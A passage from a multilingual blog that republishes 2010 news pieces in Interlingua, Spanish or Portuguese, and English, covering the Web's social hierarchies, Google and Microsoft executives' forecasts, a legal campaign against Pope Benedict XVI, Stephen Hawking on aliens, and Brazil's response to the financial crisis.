explosion del population que usa le Rete, e arrivar al prime position in le resultatos de cerca in le motor de Google deveniva le puncto de referentia pro promover ganantias financiari in un Web impulsate economicamente. Le augmento exponential in le contento del Rete in le final parte del annos 90 e durante le ultime decada anque ha significate que le fidelitate e le securitate del information immagazinate in le Web ha devenite plus difficile de determinar.\nA un nivello individual, nos depende de amicos e familiares pro saper in que confiar e in que creder, ma nos anque cerca expertos e altere personas de alte nivello social pro dar a nos un cammino adequate a sequer. Jimmy Wales, le fundator del encyclopedia virtual Wikipedia, admitte que in despecto de esser le stella actual del nivellation del information, Wikipedia ha hierarchias explicite que determina que alicun fontes de information es plus valiose que alteres.\nLe scientistas social sta a discoperir quando illes observa le Web como un platteforma de interaction social que in ulle medio le esseres human cerca hierarchias que les adjuva a dar sentito al mundo. Il resulta que isto es tan relevante in le Rete como foras de illo. Rebus sic stantibus, nos solmente pote prender ex iste tabula rasa digital lo que nos ha apprendite de nostre experientias, le quales es multo diverse con grados de confidentia que pote esser multo difficile de determinar.\n---\nLa Web como un reflejo de la humanidad\nLa Web es una innovación extraordinaria, con el mayor potencial para fomentar el cambio social desde la invención de la imprenta o del motor de vapor. Construida en base a una tecnología que es apolítica, no regulada y descentralizada, le permite a todo el mundo --hombres, mujeres y niños-- ser creadores de información en vez de consumidores pasivos. Es además una enorme biblioteca de la conciencia global, una colección digital de conocimientos humanos del pasado y del presente presentados en formatos que son cada vez más fáciles de manipular\nComo resultado, tenemos un poder sin precedentes para crear nuestras propias verdades y compartirlas con el resto del mundo. La Web ha permitido una igualdad de acceso que no se había contemplado nunca en el pasado. Pero, ¿se habrá perdido ya la oportunidad de que se convirtiera en un gran nivelador social?\nHace veinte años, la Web fue colonizada por un grupo de personas que creían que la sociedad ideal era igualitaria. Para estos pioneros, todas las personas tenían el derecho de involucrarse, y no debería existir una jerarquía social, y creían que un número mínimo de normas podrían organizar el sistema para asegurar el bien común.\nGente como el escritor estadounidense Stewart Brand, el crítico Howard Rheingold y el poeta John Perry Barlow creían que la inviolabilidad de personas individuales era superior a la del estado nación, y que promover la comunicación entre todos los pueblos del mundo sería suficiente para resolver los problemas mundiales.\nEn la protointernet estas personas pasaron más de una década explorando las posibilidades de comunidades alternativas inmateriales en el ciberespacio. Las primeras comunidades que establecieron, como el foro en línea the Well, tenían características parecidas a las comunidades libres en el mundo real, muchas de las cuales se deterioraron cuando las poco definidas regulaciones degeneraron en explotación y el caos. Pero los idealistas pioneros de la Web mantenían que la nueva frontera digital proveería un terreno intelectual fértil en el que se podría crear una sociedad más libre y utópica.\nSin embargo, la historia tenía planes diferentes para la Web. El punto de vista informal del comportamiento social en la Web de los pioneros chocó con las características esenciales de nuestra naturaleza, nuestro deseo de tomar control, de poseer, y de sacar beneficios monetarios de nuestras actividades, y la Red se convirtió en un espacio para el beneficio comercial a mediados de los '90. Hubo una explosión de la población que usa la Red, y lograr la primera posición en los resultados de la búsqueda de Google se convirtió en el punto de referencia para promover las ganancias financieras en la Web impulsada economicamente. El aumento exponencial en el contenido de la Red a finales de los '90 y durante la última década también ha significado que la fiabilidad y la credibilidad de la información almacenada en la Web han llegado a ser más difíciles de determinar.\nA un nivel individual, dependemos de amigos y familiares para saber en qué confiar y en qué creer, pero también buscamos expertos y otras personas de alto nivel social para que nos señalen el camino adecuado a seguir. Jimmy Wales, fundador de la enciclopedia virtual Wikipedia, admite que a pesar de ser la estrella actual en la nivelación de la información, Wikipedia tiene jerarquías explícitas que determinan que algunas fuentes de información son más valiosos que otras.\nLos científicos sociales están descubriendo cuando observan la Web como una plataforma de interacción social que en cualquier medio los seres humanos buscan jerarquías que les ayuden a darle sentido al mundo. Resulta que esto es tan relevante en la Red como fuera de ella. Después de todo, sólo podemos traer a esta tábula rasa digital lo que hemos aprendido de nuestras experiencias, las cuales son muy diversas con grados de fiabilidad que pueden ser muy difíciles de determinar.\n---\nThe Web as a reflection of Humanity\nThe Web is an extraordinary innovation, with the greatest potential to promote social change since the invention of the printing press or the steam engine. Built basically on a technology that is apolitical, unregulated, and decentralized, it allows everyone--men women and children--to be creators of information instead of passive consumers. It also has a huge library of global consciousness, a digital collection of past and present human knowledge presented in formats that are progressively easier to manipulate.\nAs a result, we have unprecedented power to create our own truths and share them with the rest of the world. The Web has allowed equal access that had never been conceived of in the past. But has the opportunity been lost to make it into a great social leveler?\nTwenty years ago, the Web was colonized by a group of people who believed that the ideal society was egalitarian. For these pioneers, all people have the right to get involved, and there should be no social hierarchy, and they believed that a minimum number of norms could organize the system to assure the common good.\nPeople like the American writer Stewart Brand, the critic Howard Rheingold, and poet John Perry Barlow believed that the sanctity of individual people was higher than the nation state and that promoting communication among all the people of the world would be enough to solve all the world's problems.\nOn the early Internet, these people spent more than a decade exploring the possibilities of alternative communities in cyberspace. The first communities that they established, such as the online forum the Well, had characteristics similar to free communities in the real world, many of which deteriorated and degenerated into chaos when some people defied the operating regulations. But the idealistic pioneers of the Web maintained that the new digital frontier would provide a fertile intellectual terrain in which a freer and more utopian society could be created.\nNevertheless, history had different plans for the Web. The informal view of social behavior in the Web of the pioneers collided with the essential characteristics of our nature, our desire to take control, to own, and to get monetary benefits from our activities, and the Web became a space for commercial gain in the mid nineties. There was an explosion of the population using the Web, and achieving the first position in Google's search-engine results became a benchmark for promoting financial gains in the economically driven Web. The exponential increase in the content of the Web in the late nineties and during the last decade has also meant that the reliability and credibility of information stored on the Web have become increasingly difficult to determine.\nAt an individual level, we depend on friends and family to know what to trust and what to believe, but we also seek experts and other persons of high social status for telling us the right path to follow. Jimmy Wales, the founder of the online encyclopedia Wikipedia, admits that despite being the current star in the leveling of information, Wikipedia has explicit hierarchies that determine that some sources of information are more valuable than others.\nSocial scientists are discovering when they observe the Web as a platform for social interaction that in any medium human beings seek hierarchies to help them make sense of the world. It turns out that this is as important inside the Web as outside of it. After all, we can only bring to this digital tabula rasa what we have learned from our experiences, which are quite diverse with degrees of reliability that can be very difficult to determine.\nPosted by hkyson at 8:43 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe rhythmo de eventos in le Web pare vader plus rapidemente que in le mundo real. Create in 1998 como un motor de cercas, hodie in le Web Google es le sito de referentia de milliones de personas in omne le mundo--tanto que in le linguage colloquial on ha cuneate le expression \"googlear alique\" o alicuno.\nSi le World Wide Web (o simplemente le Rete) ha transformate le societate global, Google ha essite in bon parte responsabile pro tal cambio.\n\"Le Internet nos cambia, e nos lo cambia in le processo de su uso\", diceva Eric Schmidt, presidente de Google, Inc. \"Virtualmente omne le personas con le quales io me associa es usatores de Internet, e illes omnes es assatis sophisticate--e mesmo mi matre!\"\nIl non ha ulle area in le cyberspatio que Google non coperi actualmente: posta electronic, chats, messageria instantante, e videos. De un forma o de un altere, omne le gente qui se trova in Internet pare utilisar al minus un de su dece e quatro productos--omnes con un denominator commun, le relationes social. Nos omnes vive in alicun tipo de rete social que include nostre amicos, nostre familia, e personas con le quales nos travalia.\nLe objectivo de Google es offerer productos e information personalisate al usatores individual del Web durante que illes continua lor patronos de interaction con le diverse partes del systema.\n\"Durante que nos continua a apprender plus clarmente qui tu es, qui es tu amicos e le cosas que te importa, le Rete devenira plus personal pro te\", dice Schmidt. \"Nostre experientia monstra que al minus un 90% del gente es felice con compartir su datos con omne le mundo, e le altere 10% es ferocemente opponite. Nos vole respectar le duo gruppos.\"\nEric Schmidt es de accordo con lo que le director executive de Microsoft, Steve Ballmer, diceva sur como le avantiamentos technologic se centrara in le campo del recognoscimento del discurso, de intentiones, e de gestos in video.\n\"Pro que non haber traductiones del messages de texto de maniera que tu pote inviar un message a tu amico qui non parla tu lingua? Pro que non face nos alique simile con le servicio de voce de Google ubi tu dicta, nos transcribe, e finalmente nos genera tu voce in un lingua differente?\"\nPro Schmidt, le sequente passo in iste revolution es permitter que omne le mundo se pote communicar con ulle altere personas sin barrieras. Pro illo, il essera clave disveloppar technologia que permitte que on ha videoconferentias con bon qualitate desde le telephono cellular.\nGoogle sta a travaliar in le disveloppamento de iste nove technologias con su servicio gratuite de traduction electronic, por ejemplo. Le traductiones que illo offere non es perfecte. Ma mesmo assi, il me pare que le servicio de traduction de Google es multo utile pro me como un utensilio de redaction pro preparar mi articulos pro \"Interlingua multilngue\", e io me trova confidente que durante que le technologia de Google pro processar le linguage deveni plus sophisticate, su servicios essera plus utile pro reducer le travalio necesse pro le production de nove cursos pro studentes de linguas in le futuro.\n---\nUn mundo Google sin idiomas\nEl ritmo de los acontecimientos en la Web parece ir más rápidamente que en el mundo real. Creada en 1998 como un motor de búsqueda, hoy en día Google es el sitio de referencia del Web para miles de millones de personas en todo el mundo--tanto que en el lenguaje coloquial se ha acuñado la expresión \"googlear algo\" o a alguien.\nSi la World Wide Web (o sencillamente \"la Red\") ha transformado la sociedad global, Google ha sido en buena parte responsable de tal cambio.\n\"La Internet nos cambia e nos la cambiamos en el proceso de su uso\", dijo Eric Schmidt, presidente de Google Inc. \"Virtualmente todas las personas con las que trato son usuarios de Internet, y todos ellos son bastante sofisticados, ¡mi madre tambien!\"\nNo hay ámbito en el ciberespacio que Google no abarque en la actualidad: correos electrónicos, chats, mensajería instantánea e videos. De una forma u otra, toda la gente que esté en Internet parece utilizar al menos uno de sus catorce productos--todos con un denominador común, las relaciones sociales. Todos vivimos en algún tipo de red social que incluye nuestros amigos, nuestra familia y personas con las que trabajamos.\nEl objetivo de Google es ofrecer productos y información personalizada a los usuarios individuales de la Web a medida que continúan sus patrones de interacción con las diversas partes del sistema.\n\"A medida que continuamos aprendiendo más claramente quién eres, quiénes son tus amigos e las cosas que te importan, la Red se hará más personal para ti\", dice Schmidt. \"Nuestra experiencia muestra que por lo menos un 90% de la gente es feliz compartiendo sus datos con todo el mundo, y el otro 10% está ferozmente opuesto. Nosotros queremos respetar los dos grupos.\"\nEric Schmidt coincide con lo que el director ejecutivo de Microsoft, Steve Ballmer, dijo sobre cómo los avances tecnológicos se centrarán en el campo del reconocimiento del discurso, de intenciones y de gestos en video.\n\"¿Por qué no tener traducciones de los mensajes de texto de modo que puedas enviar un mensaje a tu amigo que no habla tu idioma? ¿Por qué no hacemos algo semejante con el servicio de voz de Google donde tú dictas, nosotros transcribimos y finalmente generamos tu voz en un idioma diferente?\"\nPara Schmidt, el siguiente paso en esta revolución es permitir que todo el mundo se pueda comunicar con quien quiera sin barreras. Para ello, sera clave desarrollar tecnología que permita tener videoconferencias con buena calidad desde el teléfono celular.\nGoogle está trabajando en el desarrollo de estas nuevas tecnologías con su servicio gratuito de traducción electrónica, por ejemplo. Las traducciones que ofrece no son perfectas. Pero aún así, me parece que el servicio de traducción de Google es muy útil para mí como una herramienta de redacción de mis artículos para \"Interlingua multilingue\", y estoy seguro de que a medida que la tecnología de Google para procesar el lenguaje se vuelve más sofisticada, sus servicios serán más utiles para reducir el trabajo necesario para la producción de nuevos cursos para estudiantes de idiomas en el futuro.\n---\nA Google world without languages\nThe pace of events on the Web seems to be faster than in the real world. Created in 1998 as a search engine, today Google is the reference site on the web for billions of people around the world--so much so that in colloquial language the term \"googling something\" or someone has been coined.\nIf the World Wide Web (or simply \"the Web\") has transformed global society, Google has been largely responsible for such change.\n\"The Internet changes us and we change it while using it,\" said Eric Schmidt, president of Google, Inc. \"Virtually all the people I deal with are internet users, and all of them are quite sophisticated--including my mother!\"\nThere is no area in cyberspace that Google currently does not cover: e-mails, chats, instant messaging, and videos. One way or another, everyone who is on the Internet seems to be using at least one of its fourteen products--all of them with one common denominator: social relations. All of us live in some kind of social network that includes our friends, our families, and people we work with.\nGoogle's goal is to offer products and information customized to the individual users of the Web as they continue their patterns of interaction with the various parts of the system.\n\"As we continue learning more clearly who you are, who your friends are, and the things you care about, the Web will become more personal for you,\" says Schmidt. \"Our experience shows that at least 90% of people are happy to share their data with the world, and the other 10% are fiercely opposed. We want to respect the two groups.\"\nEric Schmidt agrees with what the Microsoft chief executive Steve Ballmer said about how technological advances will focus on the field of speech recognition, people's intentions and video gestures.\n\"Why not have translations of the text messages so that you can send a message to your friend who does not speak your language? Why don't we do something similar with Google's voice service where you dictate, we transcribe, and finally generate your voice in a different language?\"\nFor Schmidt, the next step in this revolution is to enable everyone to communicate with whoever without barriers. To do this, developing technology allowing for high-quality video conferencing from cell phones will be of key importance.\nGoogle is working on the development of these new technologies with its free electronic translation service, for example. The translations that it provides are not perfect. But even so, I find that Google's translation service is very useful for me as an editing tool for preparing my \"Interlingua multilingue\" articles, and I am confident that as Google's language-processing technology becomes more sophisticated, its services will become more useful for reducing the work involved in the production of new courses for language students in the future.\nPosted by hkyson at 12:33 AM\nThursday, April 29, 2010\n(Languages of this post: Interlingua, Spanish, English)\nInteractuar con un schermo del mesme maniera que nos lo face con un esser human essera un innovation clave del proxime dece annos, dice Steve Ballmer, director executive de Microsoft.\nLe interaction virtual inter esseres human va a devenir plus natural in un platteforma virtual que unira le television, le radio, e Internet.\nIn le ultime vinti annos, Internet cambiava de un maniera que haberea essite impossibile de predicer quando illo comenciava como un conjuncto de nodos pro intercambiar information inter academicos.\nPro Ballmer, in le proxime dece annos nos videra innovationes fantastic. In prime loco il ha le maniera in que le gente va a interactura inter se, con le information, e con le technologia.\nIllo va a devenir plus natural, diceva Ballmer, qui vide avantiamentos technologic in le campo del recognoscimento de discurso parlate, de voce, e de gestos in video. \"Le innovationes le plus importante girara in torno a disveloppar un interfacie plus natural. Il essera le capacitate de dar instructiones a un computator del mesme maniera que nos da instructiones a un esser human. Le usator del futuro dicera, 'Prepara toto pro mi viage' in vice de dicer 'archivo, abrir, bla, bla, bla'\".\nBallmer se integrava a Microsoft in 1980 e esseva le prime gerente de affaires commercial contractate per Bill Gates. Su dece annos de gerer le compania ha vidite battalias legal, fusiones, acquisitiones, e naturalmente nove programmas.\n\"Television, radio, voce, toto essera transportate via internet\", dice ille, \"e toto devinira plus interactive, plus interessante, e plus conveniente.\"\nBallmer previde que in le proxime annos le mundo del information e del communication se unira in un sol platteforma. In ille sentito, dice ille, le \"nube\" va a esser \"un conductor clave del futuro, il non ha dubito de illo\".\nLe termino \"nube\" define le uso crescente de applicationes que functiona in Internet sin le necessitate de esser installate in computatores individual. Television, radio, voce, toto essera transportate in Internet, e toto devenira plus interactive, plus interessante, e plus conveniente, usante programmas intelligente.\nSecundo Ballmer, Internet va a esser de maniera crescente le centro de nostre interactiones quotidian, e con le expansion e acceleration del crescimento de iste nove technologia, le Internet devenira le matrice principal pro le unification de un quantitate crescente de omne nostre interactiones social.\n---\nEl mundo informático del futuro según Microsoft\nInteractuar con una pantalla de la misma forma que lo hacemos con un ser humano será una innovación clave de los próximos diez años, dice Steve Ballmer, director ejecutivo de Microsoft.\nLa interacción virtual entre seres humanos va a volverse más natural en una plataforma virtual que unirá televisión, radio e Internet.\nEn los últimos veinte años, Internet cambió de una forma que hubiera sido imposible de predecir cuando empezó como un conjunto de nodos para intercambiar información entre académicos.\nPara Ballmer, en los próximos diez años veremos innovaciones fantásticas. En primer lugar hay la manera en que la gente va a interactuar entre sí, con información e con tecnología.\nSe va a volver más natural, dijo Ballmer, que ve avances tecnológicos en el campo del reconocimiento de discurso, de voz y de gestos en video. \"Las innovaciones más importantes girarán en torno a desarrollar una interfaz más natural. Será la capacidad de dar instrucciones a una computadora de la misma forma en que le damos instrucciones a un ser humano. El usuario del futuro dirá, 'Prepara todo para mi viaje' en vez de decir 'archivo, abrir, bla, bla, bla'\".\nBallmer se integró a Microsoft en 1980 y fue el primer gerente de negocios contratado por Bill Gates. Sus diez años de gestión al frente de la compañía han visto batallas legales, fusiones, adquisiciones, y por supuesto nuevos programas.\n\"Televisión, radio, voz, todo será transportado en internet\", dice, \"y todo se volverá más interactivo, más interesante y más conveniente.\"\nBallmer prevé que en los próximos años el mundo de la información y de la comunicación se unirá en una sola plataforma. En ese sentido, dice, la \"nube\" va a ser \"un conductor clave del futuro, no hay duda de eso\".\nEl término \"nube\" define el uso creciente de aplicaciones que funcionan en Internet sin necesidad de ser instaladas en computadoras individuales. Televisión, radio, voz, todo será transportada en Internet, y todo se volverá más interactivo, más interesante y más conveniente, usando programas inteligentes.\nSegún Ballmer, Internet va a ser de manera creciente el centro de nuestras interacciones cotidianas, y con la expansión y aceleración del crecimiento de esta nueva tecnología, el Internet se convertirá en la matriz principal de unificar una cantidad creciente de todas nuestras interacciones sociales.\n---\nThe future computing world according to Microsoft\nInteracting with a screen in the same way we do with a human being will be a key innovation of the next ten years, says Steve Ballmer, CEO of Microsoft.\nVirtual interaction between human beings will become more natural on a virtual platform linking television, radio and the Internet.\nIn the past twenty years, the Internet has changed in a way that would have been impossible to predict when it started as a set of nodes to exchange information among academics.\nTo Ballmer, the next ten years will see fantastic innovations. First there is the way people will interact with one other, with information, and with technology.\nIt will become more natural, said Ballmer, who sees technological advances in the field of speech recognition and gestures on video. \"The most important innovations will revolve around developing a more natural interface It will be the ability to give instructions to a computer in the same way we give instructions to a human being. The future user will say 'Prepare everything for my trip' instead of saying 'file, open, blah, blah, blah.'\"\nBallmer joined Microsoft in 1980 and was its first business manager hired by Bill Gates. His ten years at the helm of the company have seen legal battles, mergers, acquisitions, and of course new programs.\n\"Television, radio, voice, everything will be transported on the internet,\" he says, \"and everything will become more interactive, more interesting, and more convenient.\"\nBallmer foresees that in the coming years the world of information and communication will be united in a single platform. In that sense, he says, the \"cloud\" will be \"a key driver of the future, no doubt about it.\"\nThe term \"cloud\" defines the growing use of Internet applications that work on the Internet without being installed on individual computers. Television, radio, voice, everything will be transported on the Internet, and everything will become more interactive, more interesting, and more convenient, using intelligent software.\nAccording to Ballmer, the Internet will increasingly be the focus of our everyday interactions. and with the expansion and acceleration of growth of this new technology, the internet will become the principal matrix for unifying increasing amounts of all of our social interactions.\nPosted by hkyson at 10:17 PM\nWednesday, April 28, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nDuo prominente intellectuales britannic expressava lor intention pro processar le papa Benedict XVI pro su rolo in le casos de abusos sexual involvente patres del Ecclesia Catholic in diverse partes del mundo.\nLe autores Richard Dawkins e Christopher Hitchens es defensores cognoscite del atheismo e criticos sever del religion. Le duo homines diceva que illes intende comenciar un campania pro un processo contra le papa, tanto in le tribunales de Grande Britannia, un pais que le pontifice visitara in septembre, como in le Corte Penal International.\nDawkins, un biologo de formation, es le autor de libros qui questiona le validitate e le veracitate del religiones. Su travalio le plus cognoscite, \"Deo, un Delirio\", vendeva plus que 1,5 milliones de copias e deveniva un best seller publicate in plus que 30 paises.\nHitchens es un philosopho e scientista politic del Universitate de Oxford e columnista de diverse publicationes, como \"Vanity Fair\", \"Harper's\", e \"Granta\".\nLe argumentation juridic sequera le mesme logica de action que culminava in le detention del ex-dictator Chilean Augusto Pinochet durante su visita a London in 1998.\nDawkins e Hitchens allega que le pontifice non es immune al prision in le Regno Unite proque, in despecto de esser le chef del Vaticano, ille non es un chef de stato recognoscite per le Organisation del Nationes Unite.\n\"Io crede que le Justitia britannic rejectara le argumento de immunitate del papa\", diceva Mark Stephens, le advocato specialisate in derectos human qui representara le autores. \"Si le papa veniva in un visita de Stato, normalmente un chef de Stato haberea immunitate soveran. Lo que io insiste es que ille non es un soverano, ille non es un chef de Stato, e a causa de illo ille non pote presentar ille defensa.\"\nDawkins e Hitchens e lor advocato crede que illes pote accusar le papa de crimine contra le humanitate.\nBenedict XVI ha essite le objecto de criticas ante innumerabile denuncias de abusos de minores que surgeva quando ille esseva le chef del brachio del Sancte Sede responsabile pro le disciplina. In multe casos le papa, tunc le cardinal Joseph Ratzinger, es accusate de omission. Ma al fin del septimana passate veniva al publico un littera de 1985 in le qual ille resiste le idea de destituer del fucntiones sacerdotal le patre american Stephen Kiesle, accusate de abuso sexual.\nLe tunc cardinal Ratzinger affirmava in le littera que le \"ben del Ecclesia universal\" necessitava esser prendite in consideration en un acto como le destitution del functiones sacerdotal.\nLe Vaticano confirmava le signatura del cardinal in le documento, secundo le agentia de novas Associated Press.\nIn responsa al publication del littera, le porta-voce del Vaticano diceva que le documento esseva interpretate \"foras de contexto\".\n---\nDois intelectuais britânicos querem prisão do papa por abusos na Igreja.\nDois renomados intelectuais britânicos expressaram sua intenção de processar o papa Bento 16 pelo seu papel nos casos de abusos sexuais envolvendo padres da Igreja Católica em diversas partes do mundo.\nOs escritores Richard Dawkins e Christopher Hitchens são defensores conhecidos do ateísmo e críticos severos da religião. Os dois homens disseram que pretendem começar uma campanha para um processo contra o papa, tanto nos tribunais de Grã-Bretanha, país que o pontífice visitará em setembro, quanto no Corte Penal Internacional.\nDawkins, biólogo de formação, é autor de livros que questionam a validade e a veracidade das religiões. Seu trabalho mais conhecido, \"Deus, um Delírio\", vendeu mais de 1,5 milhão de cópias e virou um best-seller publicado em mais de 30 países.\nHitchens é filósofo e cientista político pela Universidade de Oxford e colunista de diversas publicações, como \"Vanity Fair\", \"Harper's\" e \"Granta\".\nA argumentação jurídica seguiria a mesma lógica da ação que culminou com a prisão do ex-ditador chileno Augusto Pinochet durante sua visita a Londres em 1998.\nDawkins e Hitchens alegam que o pontífice não é imune à prisão no Reino Unido porque, apesar de ser o chefe do Vaticano, não é um chefe de Estado reconhecido pela Organização das Nações Unidas.\n\"Acredito que a Justiça britânica rejeitará o argumento de imunidade do papa\", disse Mark Stephens, o advogado especializado em direitos humanos que representará os escritores. \"Se o papa viesse em visita de Estado, normalmente um chefe de Estado teria imunidade soberana. O que defendo é que ele não é um soberano, não é chefe de Estado, e por isso não pode se valer dessa defesa.\"\nDawkins e Hitchens e seu advogado crêem que podem acusar o papa de crime contra a humanidade.\nBento 16 tem sido alvo de críticas diante das inúmeras denúncias de abusos de menores que surgiram, quando ele chefiava o braço da Santa Sé responsável pela disciplina. Em muitos casos o papa, então cardeal Joseph Ratzinger, é acusado de omissão. Mas no fim da semana passada veio a público uma carta de 1985 em que ele resiste à ideia de destituir das funções sacerdotais o padre americano Stephen Kiesle, acusado de abuso sexual.\nO então cardeal Ratzinger afirmou na carta que o \"bem da Igreja universal\" precisava ser levado em conta em um ato como a destituição das funções sacerdotais.\nO Vaticano confirmou a assinatura do cardeal no documento, segundo a agência de notícias Associated Press.\nEm resposta à divulgação da carta, o porta-voz do Vaticano disse que o documento foi interpretado \"fora do contexto\".\n---\nTwo British intellectuals want prison for the Pope because of Church abuses.\nTwo prominent British intellectuals expressed their intention to try Pope Benedict XVI for his role in sexual abuse cases involving Catholic priests in various parts of the world.\nThe writers Richard Dawkins and Christopher Hitchens are known advocates of atheism and severe critics of religion. The two men said that they intend to start a campaign for a trial against the pope both in the courts of Britain, a country that the pontiff will visit in September, and in the International Criminal Court.\nDawkins, a biologist by training, is the author of books that question the validity and veracity of religions. His best known work, \"The God Delusion,\" has sold more than 1.5 million copies and became a bestseller published in more than 30 countries.\nHitchens is a philosopher and political scientist from Oxford University and columnist for several publications such as \"Vanity Fair,\" \"Harper's,\" and \"Granta.\"\nTheir legal arguments will follow the same legal logic that culminated in the arrest of former Chilean dictator Augusto Pinochet during his visit to London in 1998.\nDawkins and Hitchens argue that the pontiff is not immune to prison in the United Kingdom because, despite being the head of the Vatican, he is not the chief of a state recognized by the United Nations.\n\"I believe the British court will reject the pope's argument for immunity,\" said Mark Stephens, the human rights lawyer who will represent the writers. \"If the Pope came on a state visit, usually a head of state would have sovereign immunity. My point is that he is not a sovereign, he is not a chief of state, and that is why he cannot use that defense.\"\nDawkins and Hitchens and his lawyer believe they can accuse the pope of a crime against humanity.\nBenedict XVI has been the object of criticism in the face of numerous complaints of abusing minors that have arisen when he headed the arm of the Holy See responsible for discipline. In many cases the pope, then Cardinal Joseph Ratzinger, is accused of ignoring the problem. But at the end of last week a letter from 1985 was made public in which he resists the idea of removing from priestly functions the American priest Stephen Kiesler, accused of sexual abuse.\nThe then Cardinal Ratzinger said in the letter that \"the welfare of the universal Church\" had to be taken into account in an act such as a removal from priestly functions.\nThe Vatican confirmed the cardinal's signature on the document, according to the Associated Press.\nIn response to the disclosure of the letter, the Vatican spokesman said the document was interpreted \"out of context.\"\nPosted by hkyson at 9:39 PM\nMonday, April 26, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nLe famose physico Britannic Stephen Hawking suggereva que nos debe evitar contacto con esseres extraterestres. In un serie de documentarios a esser transmittite in le Discovery Channel Hawking dice que que il es \"perfectemente rational\" creder que pote exiter vita foras del Terra ma ille preveni que le extraterrestres pote simplemente robar le ressources del planeta e vader via.\n\"Si le extraterrestres nos visitava, le consequentias esserea simile a illos que passava quando Chrisophoro Colombo disimbarcava in America, alique que non terminava ben pro le nativos\", ille diceva. \"Nos solmente debe examinar nos mesmes pro vider como le vita intelligente pote evoluer in directiones que nos non volerea trovar.\"\nIn le passato, sondas esseva inviate al spatio con artefactos con diagrammas e designos mostrante le location del Terra. Hawking dice que le probablitate mathematic es que existe esseres vive in altere locos del universo ma le ver defia es imaginar como poterea esser le apparentia del extraterrestres.\nLe programma specula sur diverse species de extraterrestres, includente herbivoros de duo patas e predatores simile a lacerta. Hawking admitte tamen que le major parte del esseres in altere partes del universo probabilemente essera organismos unicellular como le microbios.\nIn un serie de programmas de television, \"Wonders of the Solar System\" (Meravilias del Systema Solar), le physico Britannic del Universitate de Manchester, Brian Cox, anque suggereva que il pote haber vita in un altere parte de nostre systema solar. Secundo Cox, il pote haber organismos sub le glacie que circumfere Europa, un del lunas de Jupiter.\nIlle affirmava que augmenta le indicios de que il pote haber vita in Marte. \"Nos solmente sapera con certitude quando le proxime generation de naves spatial, adaptate pro cercar le vita, es lanceate pro le lunas de Jupiter e le planas aride de Marte in le proxime decadas.\"\n---\nA humanidade deve evitar contato com extraterrestres, diz Stephen Hawking.\nO renomado físico britânico Stephen Hawking sugeriu que devemos evitar contato com seres extraterrestres. Em uma série de documentários a ser exibida em maio no Discovery Channel, Hawking diz que é \"perfeitamente racional\" acreditar que pode existir vida fora da Terra mas adverte que os alienígenas podem simplesmente roubar os recursos do planeta e ir embora.\n\"Se os alienígenas nos visitassem, as consequências seriam semelhantes às que aconteceram quando Cristóvão Colombo desembarcou na América, algo que não acabou bem para os nativos\", disse. \"Nós só temos que olhar para nós mesmos para ver como a vida inteligente pode evoluir para alguma coisa que não gostaríamos de encontrar.\"\nNo passado, foram enviadas sondas para o espaço levando artefatos com diagramas e desenhos mostrando a localização da Terra. Hawking diz que a probabilidade matemática é de que existam seres vivos em outros lugares do universo mas o verdadeiro desafio é imaginar como poderia ser a aparência dos extraterrestres.\nO programa especula sobre várias espécies de extraterrestres, inclusive herbívoros de duas patas e predadores semelhantes a lagartos. Hawking admite, contudo, que a maior parte dos seres em outras partes do universo provavelmente será organismos unicelulares como os micróbios\nEm uma série de programas de televisão \"Wonders of the Solar System\" (Maravilhas do Sistema Solar), o físico britânico da Universidade de Manchester, Brian Cox, também sugeriu que pode haver vida em outra parte do nosso sistema solar. Segundo Cox, pode haver organismos sob a camada de gelo que envolve Europa, uma das luas de Júpiter.\nEle afirmou que aumentam os indícios de que pode haver vida em Marte. \"Nós só saberemos com certeza quando a próxima geração de naves espaciais, adaptadas para procurar vida, for lançada para as luas de Júpiter e as planícies áridas de Marte nas próximas décadas.\"\n---\nHumanity should avoid contact with aliens, says Stephen Hawking.\nThe renowned British physicist Stephen Hawking has suggested that we should avoid contact with extraterrestrials. In a series of documentaries to be shown in May on the Discovery Channel, Hawking says it's \"perfectly reasonable\" to believe that life can exist outside the Earth, but warns that the aliens can simply steal the planet's resources and leave.\n\"If aliens visited us, the consequences would be similar to what happened when Christopher Columbus landed in America, something that did not end well for the natives,\" He said. \"We just have to look at ourselves to see how intelligent life can evolve into something we would not want to find.\"\nIn the past, probes were sent into space carrying artifacts with diagrams and drawings showing the Earth's location. Hawking says that the mathematical probability is that living beings exist elsewhere in the universe but the real challenge is to imagine what the aliens would look like.\nThe program speculates on various species of aliens, including two-legged herbivores and predators like lizards. Hawking admits, however, that most of the beings in other parts of the universe will probably be single-celled organisms like microbes.\nIn a series of television programs \"Wonders of the Solar System,\" a British physicist at the University of Manchester, Brian Cox, also suggested that there might be life elsewhere in our solar system. According to Cox, there may be organisms under the ice surrounding Europa, one of Jupiter's moons.\nHe said increasing evidence indicates that life could exist on Mars. \"We will only know for sure when the next generation of spacecraft, adapted to searching for life, reaches the moons of Jupiter and the arid plains of Mars in coming decades.\"\nPosted by hkyson at 11:24 PM\nSaturday, April 24, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio publicate iste venerdi per le Fundation Bertelsmann in Germania dice que le Brasil se trova inter le paises que reageva del maniera plus efficace al crise financiari international e laudava le programmas social del governamento de Lula.\nLe studio monstra como 14 paises disveloppate e in disveloppamento reageva al crise, inter illos le Brasil, Germania, China, Grande Britannia, le Statos Unite, India, e Turchia. Un gruppo de specialistas analysava le rapiditate e le efficacia del mensuras prendite per le governamentos pro stabilisar le economia de cata pais.\nSecundo le foundation Bertelsmann, le paises in disveloppamento reageva melio al problemas financiari que le nationes industrialisate. \"Ille paises apprendeva de diverse crises trans le quales illes passava in le ultime decadas\", dice le studio. \"Le paises in disveloppamento faceva planos efficace pro le confrontation de un possibile crise, adjustante lor budgets, e a causa de illo illos poteva prender mensuras rapide e efficace pro reactivar lor economias\", dice Sabine Donner, qui coordinava le studio.\nIn consequentia, illa dice, paises como le Brasil, China, e India nunc ha un position melior in le mercato mundial que ante le crise, diceva Donner: \"Nunc il es ille paises que sta a facer reviver le economia mundial\".\nLe studio lauda le maniera como le governamento de Lula stabilisava le financias del Stato e controlava le sector bancari durante le crise. Ultra illo, le demanda interne ha adjuvate le pais a superviver le crise. Illo se debe in parte al reformas e al programmas social del governamento de Lula, que ha augmentate le renta medie del brasilianos, permittente un augmento del mercato consumitor, secundo le studio.\nUn altere puncto positive pro le Brasil ha essite le mercato de actiones regulate, minus afficite per le speculationes con le securitates hypothecari american que originava le crise 